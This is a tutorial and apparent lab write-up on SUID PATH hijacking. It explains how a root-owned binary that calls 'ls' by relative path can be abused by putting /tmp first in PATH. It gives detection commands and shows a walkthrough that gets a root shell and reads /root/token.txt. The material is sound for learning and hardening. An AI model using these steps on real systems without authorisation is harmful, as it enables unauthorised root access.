SUID PATH Hijacking¶
Table of Contents¶
- SUID PATH Hijacking
Overview¶
A privilege escalation technique that exploits SUID binaries which call system commands using relative paths (e.g., ls) instead of absolute paths (e.g., /bin/ls). Because the binary executes with root privileges, a malicious script placed earlier in PATH will be executed as root instead of the intended command.
How It Works¶
- A SUID binary runs with root privileges regardless of who executes it.
- Internally, it calls a command without specifying the full path, e.g.,
ls -l %sinstead of/bin/ls -l %s. - The OS resolves the command by searching directories in
PATHfrom left to right. - By prepending a directory you control (e.g.,
/tmp) toPATHand placing a malicious script with the same name there (e.g.,ls), the SUID binary executes the malicious script asroot.
Step-by-Step¶
Step 1 — Find Non-Standard SUID Binaries¶
Ignore standard system binaries (passwd, sudo, su, mount, etc.). Focus on anything in /usr/local/bin/, /opt/, or other non-default locations.
Step 2 — Confirm It Is a SUID Binary¶
Look for setuid in the output:
Step 3 — Find Commands Called Without Absolute Paths¶
Look for short command names that appear without a leading /:
As opposed to a safe absolute path call:
Step 4 — Create a Malicious Script¶
Create a script with the same name as the command being called, in a directory you can write to:
The script can do anything that should run as root, e.g., open a shell, read a protected file, add a user, etc. For example, to read a protected file directly:
Step 5 — Prepend Your Directory to PATH¶
This makes the OS find your malicious /tmp/ls before the real /bin/ls.
Step 6 — Execute the SUID Binary¶
Since the binary is SUID root and calls ls without an absolute path, it executes your /tmp/ls script as root.
Cleanup¶
After completing the challenge, restore the original PATH to avoid breaking your session:
And remove the malicious script:
Detection Tips¶
When hunting for this vulnerability, the key indicators are:
| Indicator | Command |
|---|---|
| Non-standard SUID binary | find / -perm -4000 -type f 2>/dev/null |
| Relative path calls in binary | strings BINARY \| grep -E "^[a-z]{2,8}( \|$)" |
| Writable staging directory | find / -xdev -type d -perm -0002 2>/dev/null |
Full Example¶
Challenge¶
What is the root token found in /root/token.txt on Target 2 (linux-challenge-2)?
File Accessability¶
First, let's check if the file is accessible:
john@linux-challenge-2:~$ ls -l /root/token.txt
ls: cannot access '/root/token.txt': Permission denied
SUDO Availability¶
Second, let's check for sudo privileges:
Find SUID Files¶
Since john cannot run sudo and /root/token.txt is inaccessible, let's look for SUID binaries:
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/local/bin/ls-lh
Confirm SUID¶
We found a non-standard file /usr/local/bin/ls-lh as an SUID binary.
Let's check the file type to see if it is a script or an ELF binary.
/usr/local/bin/ls-lh: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e851407b3768b7534d79aa9c44a5d1a97793271a, for GNU/Linux 3.2.0, not stripped
Confirm Relative Path Call¶
Let's check for strings in the binary and look for commands like ls, cat or bash.
Click here to see the output
/lib64/ld-linux-x86-64.so.2
Q@{7h
libc.so.6
setreuid
__stack_chk_fail
system
getuid
geteuid
__cxa_finalize
__libc_start_main
snprintf
GLIBC_2.2.5
GLIBC_2.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Usage: %s <path>
ls -l %s
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
ls-lh.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
__stack_chk_fail@@GLIBC_2.4
getuid@@GLIBC_2.2.5
system@@GLIBC_2.2.5
snprintf@@GLIBC_2.2.5
geteuid@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
setreuid@@GLIBC_2.2.5
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
There is a call to ls without an absolute path:
Create Malicious Script¶
Let's create a malicious ls script to start a shell as root:
Hijack PATH for Exploitation¶
Let's modify PATH and run the exploit:
john@linux-challenge-2:~$ export PATH=/tmp:$PATH
john@linux-challenge-2:~$ /usr/local/bin/ls-lh /root/token.txt
root@linux-challenge-2:~# → root shell opened
Read the Protected File¶
root@linux-challenge-2:~# cat /root/token.txt
c741c0
root@linux-challenge-2:~# exit
john@linux-challenge-2:~$
References¶
- GTFOBins — check if a discovered SUID binary has a known exploit
- HackTricks - SUID
- PayloadsAllTheThings - Linux Privilege Escalation